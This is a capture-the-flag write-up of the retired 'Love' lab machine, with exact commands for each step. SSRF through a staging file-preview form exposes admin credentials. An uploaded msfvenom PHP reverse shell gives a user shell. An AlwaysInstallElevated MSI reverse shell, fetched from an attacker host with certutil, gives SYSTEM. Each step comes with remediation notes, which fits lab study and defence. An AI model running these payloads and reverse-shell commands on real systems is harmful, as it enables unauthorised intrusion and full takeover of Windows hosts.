Love
Summary
I mapped the Windows Apache stack and discovered two virtual hosts — love.htb (the main Voting System site) and staging.love.htb (a staging helper). The staging site's file-preview form made unrestricted server-side HTTP requests, which I pointed at the loopback-only port 5000 to retrieve an internal Password Dashboard that stored the admin credential in plaintext. Those credentials unlocked the Voting System 1.0 admin panel, which accepted an uploaded PHP file as a voter profile photo with no type validation; executing that file gave a remote shell as the low-privileged web-service account Phoebe.
A check of Windows Installer policy showed both the machine-wide and per-user AlwaysInstallElevated registry keys were enabled, allowing any user to run an MSI package as SYSTEM. A crafted MSI reverse shell installed silently completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Version and default-script scan against all confirmed open ports.
$ nmap -sV -sC -p 80,443,135,139,445,3306,5000,5985,5986 $TARGET -oN love_nmap.txtRegister both vhosts found in the TLS certificate CN/SANs for local resolution.
$ echo "$TARGET love.htb staging.love.htb" | sudo tee -a /etc/hostsConfirm both vhosts respond and note HTTP headers or redirects.
$ curl -skI https://love.htb/ && curl -skI http://staging.love.htb/Exact commands 2
Confirm the File security checker page is live and note the form fields.
$ curl -sk http://staging.love.htb/beta.phpBaseline SSRF probe — verifies localhost responses are returned in the page body.
$ curl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1/&read=1'FixRestrict server-side URL fetching and block SSRF paths to internal servicesCritical
Exact commands 1
Fetch the loopback password dashboard via SSRF. Credentials admin's password appear in the response body.
$ curl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1:5000/&read=1'Exact commands 2
Login and save the session cookie. A 302 redirect to index.php confirms success.
$ curl -sk -c /tmp/love_cookie -X POST http://love.htb/admin/login.php -d "username=admin&password=$PASSWORD&login=" -D -Verify the issued cookie represents a live authenticated session.
$ curl -sk -b /tmp/love_cookie http://love.htb/admin/index.php | grep -Ei 'logout|dashboard' && echo AUTH_OK || echo AUTH_FAILFixEliminate plaintext credential storage in web-served files and dashboardsCritical
Exact commands 5
Generate a PHP reverse shell. Substitute your actual $ATTACKER_IP.
$ msfvenom -p php/reverse_php LHOST=$ATTACKER_IP LPORT=4444 -f raw -o shell.phpSubmit the .php file as a voter photo. The app saves it as /images/shell.php.
$ curl -sk -b /tmp/love_cookie -F 'photo=@shell.php;type=image/jpeg' -F 'firstname=Test' -F 'lastname=User' -F "password=$PASSWORD2" -F 'username=testuser88' -F 'add=' http://love.htb/admin/voters_add.phpStart the listener on my machine before triggering.
$ nc -lvnp 4444Request the uploaded file to execute it; receive reverse shell as Phoebe.
$ curl -sk http://love.htb/images/shell.phpCapture the user flag from within the shell. Value: <user.txt>
$ type C:\Users\Phoebe\Desktop\user.txtFixEnforce strict file-type validation and disable script execution in upload directoriesCritical
Exact commands 8
Confirm HKCU key = 0x1 (required).
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedConfirm HKLM key = 0x1 — both must be set for the attack to work.
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedGenerate the MSI payload on my machine.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f msi -o privesc.msiServe the MSI from my machine.
$ python3 -m http.server 8080Download the MSI to the target from the Phoebe shell.
$ certutil -urlcache -split -f http://$ATTACKER_IP:8080/privesc.msi C:\Windows\Temp\privesc.msiStart the privilege-escalation listener on my machine.
$ nc -lvnp 5555Install silently; Windows Installer executes the payload as SYSTEM.
$ msiexec /quiet /qn /i C:\Windows\Temp\privesc.msiCapture the root flag from the SYSTEM shell. Value: <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtFixDisable the AlwaysInstallElevated Group Policy setting across all machinesCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 80/tcp | http recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |
| 445/tcp | smb recon-sweep-discovered |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 5000/tcp | http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |
| 5040/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 5986/tcp | winrm recon-sweep-discovered |
| 7680/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |